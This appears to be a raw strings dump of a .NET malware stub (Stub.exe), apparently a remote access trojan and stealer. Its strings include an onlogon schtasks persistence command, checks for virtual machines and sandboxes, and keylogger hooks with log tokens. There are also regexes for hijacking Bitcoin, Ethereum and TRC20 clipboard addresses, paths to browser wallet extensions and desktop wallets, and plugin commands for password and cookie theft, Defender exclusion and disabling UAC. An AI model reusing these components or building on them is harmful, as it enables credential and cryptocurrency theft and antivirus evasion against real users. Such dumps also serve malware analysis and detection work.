!This program cannot be run in DOS mode.
`.rsrc
@.reloc
v4.0.30319
#Strings
Action`10
<Main>b__1_0
<Read>b__0
<GetText>b__0
<SetText>b__0
<Read>b__2_1
IEnumerable`1
CallSite`1
List`1
Microsoft.Win32
user32
ToUInt32
ReadInt32
ToInt32
X509Certificate2
ToUInt64
ToInt64
ToUInt16
ToInt16
HMACSHA256
get_UTF8
<Module>
JHYcCGNmhBzotGA
HcCYGfJuJqLXHA
srksOaUDOsqaA
iGMONvISFIaeA
zFebgLlFrKfA
rMzRgXkDxJoA
SystemParametersInfoA
WCZgqqeTXPrA
gSGzfQvogDqEMzA
FzMFNbMFqTGFB
EfifMdLQuQJB
PMtKVzZcLDtTMKB
GJGGXhKNqKVB
EQUQTVvMkpWB
dpuqgSqwduvYB
KILcxJlSQxEXdB
YYbrgfHLRHddB
ROUXmvqhzrfB
aakaeVIVnzlB
OYNcOsdHzXoB
iDZieZRmAsB
bWwapATqMC
OFPwMEUqpXQC
PJPpsMZEzJYC
ztVfhDMyAcC
AAeYGVKOpUcdC
QJlUFbMdKfpFfC
vCKAdCGUvKSJiC
VGyszztTOuyJQmC
uPmslinMLIyxC
zVSfhRqLqCD
puQUyBNXcKFeDD
MapNameToOID
get_FormatID
sZOsqrCWFIKD
aOHJtoOfZPYD
ZBwUfzHngkhsJdD
YFKuzuaaECWKE
HzfRubUteSPTE
omGQhfxlXE
JROqIxTABnE
SoMhiBwECIwE
ScNyfnUjKwkDF
MtPinywjILPF
vhrKNbOTdINMjF
aXMXpEtDPgVFnmF
LDDDguVYKAG
nWFrcHFjJUBJG
JnIRAxztbMG
hwjLjRrJemeNG
ACjUTiwsdZXSG
zlQgkisxdseIhG
EJWliulYgTfuG
wFIVjytjMBVzG
zslRjNpxiBcqdVBH
CfvWnRZZJTEDH
WyWIvhvmUOHH
cYDUGpeahDbOpJH
IkxyliaiEKpHKH
sFsaqLSRxSH
uMLJOiMiYUH
vhIQbuGWYQdXXH
UrReVKNIFHbH
YbaUJNEQDWwoDI
gXDuJyTKGhoUBOGI
get_ASCII
WLfdwgwnTPnIHMI
kFfvtBxrRhRI
BrSoqkWHTNKSI
NiOZvFqSymkjYI
wKMbjJzOFZOCaaI
jTKgYneNUKeI
ZlwMNiQdeI
ntQMwimShI
EwsvRFdblI
JhJzAXhUtcVoI
SvtxBoQqMtGaYvI
KeZZCvOAJRBJ
HwubhnSSZnbUBJ
QJbkUopyXJFJ
FkdRoFyYSJ
eowJORcmwpWxYJ
oCthxcUwXJBgJ
PzAZVQIySohJ
yxTLfgSGJpJ
ggphIXEnLwJ
iJaUgnCbFBK
RJVnTlcEZQUCK
RBKSdmYPkOimFK
YvtsveQjHNK
lsrefGAhNulPrPK
aaAFfkYuYK
XofxbKIXoTcK
PjaFTseCtwtK
dDIqxbpKcPCwwvK
WVrLokQeoTxK
TXjQPrJSNGL
mMjAOESRaUL
UxHToEYpOYYL
YkoxLOwwhTSIaL
GwAMXbzKPPmHbaL
zpMSwhIuoxibL
mSiPpWkJAhL
xwBMcCDQhL
YzDceZkIvDGjL
RUgGfTpIRnsOjL
mKDIZJjZczPsL
ynirpjMcyL
vqTkqbcyDTzL
hKXPtWpoWpHDHM
PzVjhLGudNM
BDVWgXUrXQM
LQeCvQGmWAnLWM
eOmXEtJhssQYM
lFWyDvUREmCVipbcM
LANbvBrHqgNfM
HkNDhyXIrGlM
MNEjWgxRxyvxM
ZpnOxzBaAfNGN
gSMausOFeRIN
FWrnIIgAvezvXN
qKKUZtoWmAlyaN
vsourneQcxgN
WnHsqfEUMzOjhN
MatqjSlemdWojN
AkPfyCYaUUmN
pHxJqSaYhmTmppN
aVdkdUdSxN
MajIqTjNnHEO
GvpvsrZuJkxFO
System.IO
HxGxGLdoLJO
BOnVJHGXIVLO
dBXexZWlJPFOO
OnllmIwvDDMdO
REjXELGrawQGskkO
klzUGlslNVHnO
alWAXYBAESnO
ahqhliDfjPIoO
TUUKKnBgPRrO
XdYQcDiHUrO
wlKRzSmuIjAAP
rAxYhYxzhovvEP
gFtEsvwPlYKP
uhIldYwYTWXP
zvzvULEVLYXP
LnBaHDqSCAGLtaP
AFIADlPBsWGOBQ
dSJWJLchtjOSQ
fwhKhTZbKWszWQ
nDAobMekZQ
ChkQlEIajotgQ
bArtHdaXNgmQ
LhwKRuQWJrdIsQ
KNvbGXUxwotIR
WqLeOfENPgKR
ApEvtoyjGGdR
XxZmyyZPbGZeTnR
vRHZrmArsR
svBafsDXMYFPVuR
JvRYeDyjCJAS
rSYbSaQkFS
zNHnrCpllXFHS
AAOXNeIdqmTHS
QUFQkVuJuaqyeJeS
GamIVZAptSKjS
PkEnLNeaTJkS
UAvcXuUKMnoS
OeMIgaSgUbCGAT
XuifYjgPLOQHaQBT
mVGaSAhmJT
MBGueffbWkwKT
AWKzQAqwLNT
XfXHZaTIRoHvT
BItUCvdWnhCU
BaOrxMvhvjSoXoCU
jkWkOPEMqKU
jFvifZBNUTYARU
KPIjBqguGYbTU
mwazhZhdbsaU
qSBmReGMtDmU
msRfqlqcoxU
TWlFZruFfzU
get_IV
set_IV
GenerateIV
jxtrXpfuwKV
yNIQDfhMebMV
mMzXZOWgupOV
vkoNSYZYwAmRVV
YSTeGsUtsoeV
jwBCJsWrTPgV
sjtxcqRKVdpV
iUutRFgaqV
qHQDRvdKFrV
ZhvvRRahRmKqlzrV
fQVuvrBWJViZztV
rBMqCamuPcuV
kkCgONdHPAeSVAW
BenOlADLSoCW
xHPfgYLWqCkiZLW
uVUfTioswGDYTsTW
iXyXZHbFCddZW
lylEdMPRMfYnW
VkamNpiSYvlnW
PdQsRcfQnUoW
ycrHywggXwW
RgEYYuPhlZtDX
YSTGdTxQQlKnKX
XktTWnJJaBrKTX
jBRUvJdIYUX
CmbIBEmJPIuZX
CTtHiYRoWaCudX
bFIzJdXZBkX
ysxQBXUOlNrX
RoGzvfjSMuX
NAbtvILhplivX
VujVLmjLRjnKpzX
jBMrAesRCTY
TVQuIXyiFwtOpY
dYZtrTBpdCEywY
FijRhUoFGZ
DGPBRQqsoOCbFPZ
eJKyMOkRXxIuQZ
lvwICLPjCSydZ
uPpAHSKFbPiZ
IbpVPAnSMlZ
OcoEVEadSpedamZ
QYSonkpjHnZ
value__
nBIBcHxrxbbBa
iBKijaqjDrFiCa
AgpZgbBjvoIxCa
bDDAqjEwxXAFa
RMYrYNGfFTtHa
fQrlEGTgDoPa
AZveviSyzVa
wxxIfGBcgNKFaaa
qGIewokuaTbja
GPWKooJlzCBtka
DXQfePgKUFza
DRmXthvHuGplFb
gwwgDVAEGb
kWTVZbbmQoUruIb
kqGWnMmgVnqbLb
xEVXPvdLjCOb
dcbcNeWLMSb
aKpWnVKGGXb
NUdrtFOjEMZb
arPynmlNvgeb
mscorlib
wparjPGMJAHLaenb
gtHditHwMFc
eJLDghbpCvJc
pdUolADBxLc
sKzqtWPLQLsURc
System.Collections.Generic
Microsoft.VisualBasic
get_SendSync
WndProc
XhkQCslRnzTrc
ExTYxolvqSyc
GetWindowThreadProcessId
GetProcessById
LYUjDtFVeaLNvSd
YPrstRsCNDTd
QOKIvihitoDsTd
jddofNcELAYd
ZrumVGKPad
EndRead
BeginRead
Thread
SHA256Managed
get_Connected
get_IsConnected
set_IsConnected
get_Guid
MKoyLOUNfUjd
mOFtcuZiyLqbkd
<SendSync>k__BackingField
<IsConnected>k__BackingField
<KeepAlive>k__BackingField
<HeaderSize>k__BackingField
<Ping>k__BackingField
<ActivatePong>k__BackingField
<Interval>k__BackingField
<Buffer>k__BackingField
<Offset>k__BackingField
<SslClient>k__BackingField
<TcpClient>k__BackingField
hWndChild
Append
RegistryValueKind
CompareMethod
method
Clipboard
pshwgmFihgrvBe
iKQJRnMpDe
mSuWRKwNQvGDPe
Replace
IsNullOrWhiteSpace
CreateInstance
hxnWpslEsce
set_Mode
FileMode
PaddingMode
EnterDebugMode
CryptoStreamMode
CompressionMode
CipherMode
SelectMode
DeleteSubKeyTree
get_Message
EndInvoke
BeginInvoke
GetEnvironmentVariable
IEnumerable
IDisposable
ToDouble
get_Handle
RuntimeFieldHandle
GetModuleHandle
RuntimeTypeHandle
GetTypeFromHandle
WaitHandle
ToSingle
DownloadFile
IsInRole
WindowsBuiltInRole
get_MainWindowTitle
get_MainModule
ProcessModule
set_WindowStyle
ProcessWindowStyle
get_ExStyle
set_ExStyle
get_Name
get_FileName
set_FileName
GetTempFileName
GetFileName
get_MachineName
get_OSFullName
get_FullName
get_UserName
get_ProcessName
CheckHostName
DateTime
WriteLine
get_NewLine
Combine
UriHostNameType
get_ValueType
ProtocolType
GetType
SocketType
FileShare
System.Core
MethodBase
Dispose
StrReverse
X509Certificate
Create
MulticastDelegate
GetKeyboardState
SetThreadExecutionState
SetApartmentState
GetKeyState
Delete
CallSite
CompilerGeneratedAttribute
DebuggableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
DefaultMemberAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
set_UseShellExecute
ReadByte
WriteByte
DeleteValue
GetValue
SetValue
get_KeepAlive
set_KeepAlive
Remove
HtPhUXjexe
set_BlockSize
get_TotalSize
get_HeaderSize
set_HeaderSize
set_SendBufferSize
set_ReceiveBufferSize
set_KeySize
povvqHdQZtNf
SizeOf
CAGEKZTYWDqTZf
FBOKMkJJJdbsZf
TmXvgqPcJkff
dyrVamTkoTbGerf
QzHdltunQIvjQIEg
LbRSExvDwhEPg
AhkzKkJrCpkQRg
pjedBxSPKZg
CryptoConfig
BIIbzsVTyig
etlzPuYHoxlg
IofnWYzBTng
get_Ping
set_Ping
System.Threading
set_Padding
add_SessionEnding
UTF8Encoding
System.Drawing.Imaging
System.Runtime.Versioning
FromBase64String
ToBase64String
DownloadString
ToString
get_AsString
set_AsString
GetString
Substring
System.Drawing
get_ActivatePong
set_ActivatePong
set_ErrorDialog
SzlvovheyQpg
get_Msg
dxAUYaNkhNJVcxg
JdJkpbVAzDh
lfuEXjsmqUxFh
vZDkykAAveYVGh
RVGyxbZzYh
kUiwZoTFNrLqMch
nTsKAxDZksUch
XideSmMISlh
EXNJPsPJNicmh
ComputeHash
VerifyHash
get_ExecutablePath
GetTempPath
GetFolderPath
get_Length
JNWzRkpYrUuh
ywXbUYyxEQxh
KwBeYpxZmxxh
eRshWyQIVyh
XDrPUeEwPzrAInUIi
eytkJHFitkNJi
hwRJBCMeLnlKi
ncTrnxSVWaai
CDhobChycii
pFNygHITrAuji
nhESdLejZOoi
oEuYRcOdEqakWPqi
XaTtNLfjmNWui
CDkAGRzXZCDj
KCyFRFhBcRcj
QkLihnqwBdj
AQmoSpdMotj
HSfVqaTPdwjsEWwj
EXhyhoHRTcpZgyj
djSeVpfaCOHqJk
LSstgsAlJpKk
wVeiHTErLMk
MESZWWdTUPk
uVsAMUAMituQk
AsyncCallback
RemoteCertificateValidationCallback
TimerCallback
callback
RegistryKeyPermissionCheck
FlushFinalBlock
YNBGsBkumicrk
NudDaKjssk
uLYCPdJmPuk
dUQTGcjlFl
GvzULDptDKLGl
wLFQukxWSGl
hpYvFMpNZxHl
hfjIlCjWxJXJl
kWoSPRSoomqrUOl
oCYxnZPettSl
RtlSetProcessIsCritical
Marshal
NetworkCredential
System.Security.Principal
WindowsPrincipal
get_Interval
set_Interval
iYzxcjbGRPfl
NbhXyiDoMutzufl
kernel32.dll
user32.dll
ntdll.dll
cnUrHXhXrqxml
Control
YpdJzyRDnyl
IHpkuscxkXDHm
wMfxscLgryJm
OwWEGqnsMhySm
OaaWFougHUm
FileStream
NetworkStream
SslStream
CryptoStream
GZipStream
MemoryStream
lParam
wParam
cJUsuzvQsgITdm
get_Item
OperatingSystem
SymmetricAlgorithm
AsymmetricAlgorithm
HashAlgorithm
sJpWMOFBwkcjm
Random
UBGdwJBJFafYqm
ICryptoTransform
gHasNycLQnpXxsm
oQnxZaCnwgJn
PhsYvQEHClQn
DfQRfNavEmVvloVn
PLeGAkFOSUTWn
ToBoolean
TimeSpan
XpluqGJnLhn
X509Chain
AppDomain
get_CurrentDomain
uFkUFTAiDuIkn
IiGMsFOLLinn
GetFileNameWithoutExtension
get_OSVersion
System.IO.Compression
Application
System.Security.Authentication
System.Reflection
X509CertificateCollection
ManagementObjectCollection
set_Position
CryptographicException
ArgumentNullException
ArgumentException
QjDuMpOcnqn
pattern
mHbjcNQzQo
ubEdUUEqlCRnqTo
psZXSNFsXvZo
EpnqakmSwOao
ImageCodecInfo
MethodInfo
FileInfo
DriveInfo
FileSystemInfo
MemberInfo
ComputerInfo
CSharpArgumentInfo
ProcessStartInfo
GetLastInputInfo
pVyVQBzGpHSjo
TtKdJpuLuo
eufNHYecgpBp
pdFMpeNMPUuhLp
uWNyhghvHNp
fnHVbAKWLAgrep
HWpBmPlUiASUbgp
ZNozDbRYUWhp
OAgdZDWCeRCMUmip
iNERtDmBIanp
Microsoft.CSharp
bfIBoHiaxQptp
njlsBMfJAMup
tmcCoaCqwmzwp
EVUwOdcMtYSq
FykepsncWLcq
hHknmIzSWqrkeq
rkNHlvjLgq
lieWeNFFkgq
System.Linq
iCpSjmjEiQrq
HrHVRYnpsq
sEeKWpBxnhqDtq
XYAhlrVvyuPzq
dKHfpwdcJJkCr
gFFKqCmqAygLGr
UxvZPHUOVclntLr
tQUhLPCAXDPr
olWozRXWYr
RGemkOzsACmar
InvokeMember
MD5CryptoServiceProvider
RSACryptoServiceProvider
AesCryptoServiceProvider
StringBuilder
SpecialFolder
Microsoft.CSharp.RuntimeBinder
CallSiteBinder
get_Buffer
set_Buffer
get_AsInteger
set_AsInteger
ManagementObjectSearcher
SessionEndingEventHandler
AddClipboardFormatListener
ToUpper
CurrentUser
StreamWriter
TextWriter
BitConverter
ToLower
OTJvrIbJFmqsxlr
IEnumerator
ManagementObjectEnumerator
System.Collections.IEnumerable.GetEnumerator
Activator
.cctor
Monitor
CreateDecryptor
CreateEncryptor
IntPtr
tfBEmkouppxr
ilZHEsbLJkyr
MeILCKUZMs
AZBFDLlBKmyLUs
lEDrfwiGWSUs
System.Diagnostics
get_Seconds
FromSeconds
get_Milliseconds
GetMethods
Microsoft.VisualBasic.Devices
System.Runtime.InteropServices
System.Runtime.CompilerServices
DebuggingModes
GetDirectories
ExpandEnvironmentVariables
GetTypes
GetProcesses
GetHostAddresses
System.Security.Cryptography.X509Certificates
get_Minutes
Rfc2898DeriveBytes
ReadAllBytes
GetBytes
BindingFlags
CSharpArgumentInfoFlags
CSharpBinderFlags
Strings
SessionEndingEventArgs
ICredentials
set_Credentials
Equals
SslProtocols
VWIrWBjyeNms
get_CreateParams
System.Windows.Forms
Contains
System.Text.RegularExpressions
System.Collections
StringSplitOptions
IPEUPCYPXjTps
mIPxvuGFPrqps
VrzNJqgTwhqMqs
get_Chars
GetImageDecoders
RuntimeHelpers
SslPolicyErrors
get_Hours
FileAccess
get_Success
GetCurrentProcess
IPAddress
System.Net.Sockets
set_Arguments
SystemEvents
Exists
pnTJRsFFMxs
npHsGqWKZuiBt
LvXYzsZpxqohZDt
OZxEVXnXaLIt
TMlPVSLrbUeGLt
WLKrDySnaYaFMt
gCbjRNgQJPt
IOSbMiobgccIUt
UMereIOkVckJat
Concat
ImageFormat
get_AsFloat
set_AsFloat
ManagementBaseObject
object
Collect
Connect
oAiQmTPYBVBydt
System.Net
Target
Socket
System.Collections.IEnumerator.Reset
get_Offset
set_Offset
sDsUsRQsqsgt
op_Explicit
IAsyncResult
RegexResult
result
ToUpperInvariant
WebClient
AsyncClient
get_SslClient
set_SslClient
get_TcpClient
set_TcpClient
AuthenticateAsClient
System.Management
Environment
SetParent
hWndNewParent
System.Collections.IEnumerator.get_Current
GetCurrent
CheckRemoteDebuggerPresent
get_RemoteEndPoint
WbekUPuQglnt
get_Count
get_TickCount
get_ProcessorCount
VtDhNkBCot
GetPathRoot
ParameterizedThreadStart
Convert
SHdhzKNedhEAGst
FailFast
ToList
GetKeyboardLayout
yGezkyCuBCOqwt
System.Collections.IEnumerator.MoveNext
System.Text
ReadAllText
GetText
SetText
GetWindowText
DzvfMhFDedKhfdyt
DAutRurBuXQu
NfNPpLFwRu
TotiaRKIfyXmu
JhGywIPlnu
ABCrYrZiYMFv
UBxfnjfkCkwLv
PJVrFIdBWOv
dNbmIyReFmPv
nNIuPzWGfAYWv
PEdvhKvvWv
DlyBrxePpMZv
MrsbOMlArHiv
kuObdKRKcmiv
DAVHqmxzxjv
xFAtQrwQSmsQutQplv
kiCwxCnnrVsYsv
qmTpUMYLjcqYmuv
pXKtoBEXHZSw
kwjRVNOSew
kdMlCtFRTiWiw
nklBqpKbhFpoCpalw
GetForegroundWindow
set_CreateNoWindow
ToUnicodeEx
UnhookWindowsHookEx
SetWindowsHookEx
CallNextHookEx
zFdknhdmicFx
FRKzShcvLKJx
uJVeQKWreGUMx
aOGZFQpOxgmSx
TzoGWwogWx
KAsXIJGMjax
OFohAZMEnx
bmuvnHNEMwx
OCTKwCnIVPABxx
zLdZmLATXGy
zeUMvjFcMNy
TUuEIHZfJPy
tXRfcghtIquQy
SOvExRgETy
eDnnFCYMQoDvXy
InitializeArray
ToArray
get_AsArray
zfIEZdQkOby
get_Key
set_Key
CreateSubKey
OpenSubKey
get_PublicKey
MapVirtualKey
RegistryKey
System.Security.Cryptography
aefouYLsNyojy
Assembly
AddressFamily
vlEsFOMxQny
BlockCopy
kfalJibHCqy
FaBQqjbGqy
ToBinary
get_SystemDirectory
Registry
op_Equality
op_Inequality
System.Net.Security
WindowsIdentity
IsNullOrEmpty
vGFCgoaAAz
yqnnNVtXDmlHeHz
zYDUxqutAUz
priQjUBGbPUz
svmMbtwIlUz
EuYsDKhJeaWYdz
fePMXJLWoCLiz
RkPLpiOumlz
JMuQLlERkwlz
fDmcNHRqRkHpoz
oXVjqXZrKMueuz
WrapNonExceptionThrows
1.0.0.0
).NETFramework,Version=v4.0,Profile=Client
FrameworkDisplayName .NET Framework 4 Client Profile
_CorExeMain
mscoree.dll
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!-- Windows Vista -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!-- Windows 7 -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!-- Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<!-- Windows 8.1 -->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- Windows 10 -->
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
</application>
</compatibility>
<asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>
SHA256
suhEBquPEZpa4K5sZzSIWYmwJmZrrr6aBCRDnAc7a2EM6lwZmQ5EL5KmTE9fpWriPEW3kNPAhyoO6liCkDTXtw==
JwkgePx+n9G2Yu2/PKFYJ4qZyc2g9Ov+VJALL0dZoKCII+eufJuhh/fPro7eAI7KTYJvQfAESZ54+3UPJyk9apr3DBtoH8jxStpUi4rSbtY=
t03h1/VRo6FLy8NWZXCf+DNzkFgo+qUvbCRH5ea5Wc+XuCjgF1nRpsu7v3SWoJDfDlvUk/jtBYpxyigA5+a0uA==
GDMG0fOmTocNOxszW4xhFavmeD1KXLaaRZ5YwWQG1SxQaL3ae1mhKy9FPUZPECHkJs7yyM2ILW/wG8qKoVbrWQ==
%AppData%
MFZ4Y3JLeERCRFZmOFRIZjFjUjcyckZ3dFVIVnZ6MFM=
k2AJWt0hMbaX62XQY9Oc/Rvte90vnV5KBcI1ItoqTMPuG96j7JOJY2cSiTQkSmVMPWzX35gVI40WpEXFq39Vyw==
PXZynhR0wl2WKug+AgwCDFxzadmVDhN72vLXD3c3cJxfh9A91tlGuHZ4DV9p2LSBmBDGyyt2LYN5wXvWZ3RLvtO8xKNWPWlBl/RCG0KiVelM51zWlx0ckRpsMFtv9zr9yvH/eW+qn89b5jymfNkbO0StWc63xx/ZMYCM6ZCYGSHZ4NzvkmAaZ5sk7FYdf20qOa2/22Ai9t9GmVM/U5BneN90B3G65IeJAzjfjQhO2RPlOGyuVyBz1awNi4T2yAscQjT/bbKankYbp9aIv4F1XYke6nMMMEwBohxCVoQ1FRsLukMBJeYxUlTikt6vYsQrKFkAM2FWZuZgS5W1w0iLrsdvnrodhQft+aCZR1nhtIa2V7uFJ1I2ilmM4h1R6uA+RuLQ5Q2gyKOBFERyislvMxO9MQ/FmtR/VpkBzQhvotPHVtzIHkxPxAdXEpuNF44QY3VT1ftxKfoyLPGGyquJpLFsKoYf+vQGz0S1t1Ir2TScEM14aTT7Ucbb6SlHPkuo6AeWzm28xohxU/xS2OBQxU3cvDmb6qStBVPl7Cdsdw4R4pCiZzdDQIfyslJ7IpqXEiY0hE/uWwynLVVCYEPntZ8Xvm2JZl8/k6dLWpEd8k+WLnnFpKz9qDNxPWI5diGQEC/IunCS21bsfSBwc5dwbZvxMp/fXQbFNQLkUC4eWrU1TwnkrhoKzOBIj4expewycLVPAbMTf0NFx9orfErPDQ2fKhsA5y0Mi9zLKVDdklgQ9IOj7/OkBUesknL7r7QGQn16bk2//QG8tlQxMDR3UWTNq0rT77vvQTIvG4wzB704KLXKsOqiGEifUW0sfaYXhyHrtK+ivG+/fsgDB9AnYdKMkvOLGz+z24dPqkW7YFIvpwAjrr6iKWvrQAvkQD4disD9RBO2JLCwaZzs0c/nyN7HOju2VJ0LNqX3nKEGZZSfyuR8lK28YJVbJ3IkEjsC8VWqtXwRGUtS2tdcQccHkP1tsPUzjkQ6k45kHWlml8MNqF6JOHZUK+uu3ZcQn7xU
8Mm4tPzPVpq5PmbbxIBWnwW+BSPR/3NKVZsLFVHp8ktQRHGcZHah3WgIfII/vqGJW7x/rKrQx2eXDr/cm1FXt21uqkio3A4pmjNwxCq8dXxtuWaHoD6V9jrtFMN68GwMTfgdOrHWaR0A8jnrZDYaOELLEiJnCJCN/jFgM1Kcn9SVoJTF1yR8qgKEZibZcGciABwDQg/JOG8H8OjqYqsnjXFmSqpNJq90FwMcuhmazvp5Bqeh43/5e1DOmDsb3ZAN+aMee4pezq0r8jgH+04pBIOoKGvCAo+irqzgo0bAJDspbSe6O5dcltWmkziACYuKiFAuVs9BceENOc9adOf3shEMAqPP84toSbqG1aq1X7d7HDETIR0ktY/K9fDwJKmO5rABF+BxIvxN7CiqT35L/6fYN+ixeEULp5RPox41HatE75QL2a3IBdFv+VAfcfEY+TATCKecUECANT+yiYVuUb9ToZR6bhZu1jHpYuLs2E/gFj+/mHYRmHnv1gAfxhmvfc2XojD1OxiHezdPt7CLQjs4oTNvHKjlAYgfWskBkPTNYbPgFGNgTJjuBgztJj12t3jJ1f13wCapUX4XuMzEaqAqYlfwCrei7O6gKSwoU68OhBdhbCKJH3FkIl6yQUBO7/qLRQlyMJZluSPKkWU/ninJb1ARVR1dfGxKcKwEdzysNMz2bLDAHXr99+RwDJRUCOTy80GA8ByTNL0HCWEN1UFweTw3MFJZWZGOO5TpkTwosUgiE6TLNF6c5U0UQ+vyWJe2FN+IvRXMGYFqpofG3oMfHOfFppzfNeFKgKTB8iJS50tnLIiuB5PCG56soPTy//LAkUOWHfBP29aMO8RjaGlMRt2UmIN6Yc/2HlWWpjMyb/PUKPhWg+/ry5Ni74xvdE/Chr3T9Z0SlVWBjQzYucFMC9zj5hOz6dHg7MnubzDJ/dr3q4Fw9lnWb+WZZn/TodTcl/N2ayJNkfdOqhfULQ==
UCx0H/ZHlRzsrFZHy6YsLZH6NpXx3ucoWRuu/P/2BUwHUe6VQ4UK/Ez0DQyH8A8L9VduIpwlaSKmv3csp7nmEg==
SrZTRIl8zKJyOFfmLnhQsNt4SCuG725aZCobCJ/X2xcTQSS7xqTFgzOPAcG40jTVBuqCkTFUzTvFL+Ss16aSQw==
/0GR+35CFotIkU0ETbRzcwPsISiClLsGe6rF2glk0x1VC3VFlWbdooX3iFuQfC4K2xXjJeuCqH5u9cz6cOfXRw==
ATg1/x/pc+vb6JZcJ0RLlR/OOOQnpH3ffgBhtXuide3nR94i6Rq2ZHgtTR8Ia4eEFinvKArGH7A1UfPIde0cnA==
dRZXObvkW4Gg7v8yIn3ZikglXgsIIcgDO/4khvFYbd+BGFE0r+6gUs/W9BgiCe8yRzlzwjCurvBj2Dr0WMWQtQ==
/CzPMe36uaE66qEyEP+2OVh7X/ew6PtfiZaRAwwtZJxUoR8U2NDigDMb7a2i1bJbDZIIRuwLYhbYGa6eUOs83A==
Gr3M8/wEN2Uf4srhuJEsCg1bmkfuM87oOR5E7pghGN7RYJF/pg4RoA/SoLHhVPJflD/l8KRWk9SaPfWWIv8YyQ==
UtIy2khw5NmBfbv5ReqXft+oqE1JhRVvaJ9CWgvD5+xn11dD+U7OMWGxEZUqDWg9kpe2g2x4GLBw3Otjz1nNPg==
w7up1aw/+Mn5IMmjot6FxgkubBZtMyr1NRsWUjnW5nVsEJSK6mZ2bHMsV35ROigM1lrafN8JwVKxjUqsLbNIeA==
Packet
Message
LastTime
/c schtasks /create /f /sc onlogon /rl highest /tn "
" /tr '"
"' & exit
\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
@echo off
timeout 3 > NUL
START "" "
" /f /q
Select * from Win32_ComputerSystem
Manufacturer
microsoft corporation
VIRTUAL
vmware
VirtualBox
SbieDll.dll
\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,45}\b
\b(0x)[a-zA-HJ-NP-Z0-9]{40,45}\b
T[A-Za-z1-9]{33}
BTC Clipper
ETH Clipper
TRC20 Clipper
Err HWID
ClientInfo
Microsoft Windows
Single language
Single
Language
Enterprise LTSC
Enterprise
Standard
Version
Performance
Pastebin
Antivirus
\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm\LOCK
Puplic
\AppData\Local\Microsoft\Edge\User Data\Profile 1\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm\LOCK
\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\LOCK
\AppData\Local\Google\Chrome\User Data\Profile 1\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\LOCK
\AppData\Local\Google\Chrome\User Data\Profile 2\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\LOCK
\AppData\Local\Google\Chrome\User Data\Profile 3\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\LOCK
\Mozilla\Firefox\Profiles
\extensions\webextension@metamask.io.xpi
\AppData\Local\BraveSoftware\Brave-Browser\User Data\
\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\LOCK
\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph\LOCK
\AppData\Local\Google\Chrome\User Data\Profile 1\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph\LOCK
\AppData\Local\Google\Chrome\User Data\Profile 2\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph\LOCK
\AppData\Local\Microsoft\Edge\User Data\Profile 1\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph\LOCK
(TU E)
\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\LOCK
btccore
\AppData\Local\Google\Chrome\User Data\Profile 1\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\LOCK
\AppData\Roaming\Exodus\exodus.conf.json
Exodus
\AppData\Roaming\atomic\Cookies
atomic
Atomic
\AppData\Roaming\binance\Preferences
Binance
Installed
\AppData\Roaming\Ledger Live\app.json
ledger
\AppData\Roaming\@trezor\suite-desktop\config.json
trezor
Return
Escape
LControlKey
RControlKey
RShiftKey
LShiftKey
Capital
[SPACE]
[ENTER]
[CTRL]
[Shift]
[Back]
[CAPSLOCK: OFF]
[CAPSLOCK: ON]
\Log.tmp
{0:D2}d:{0:D2}h:{1:D2}m:{2:D2}s:{3:D3}ms
\root\SecurityCenter2
Select * from AntivirusProduct
displayName
Software\
plugin
savePlugin
gettxt
passload
cookiesBrowser
getmeta
anydesk
ResetScale
killps
weburl
WDExclusion
uacoff
sendPlugin
Hashes
AllInOne
Password
Cookies
Reset Scale succeeded!
AVRemoval.Class1
Plugin.Plugin
Msgpack
Received
masterKey can not be null or empty.
input can not be null.
Invalid message authentication code (MAC).
{0:D3}
{0:X2}
(never used) type $c1
(ext8,ext16,ex32) type $c7,$c8,$c9
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
FileVersion
1.0.0.0
InternalName
Stub.exe
LegalCopyright
LegalTrademarks
OriginalFilename
Stub.exe
ProductName
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0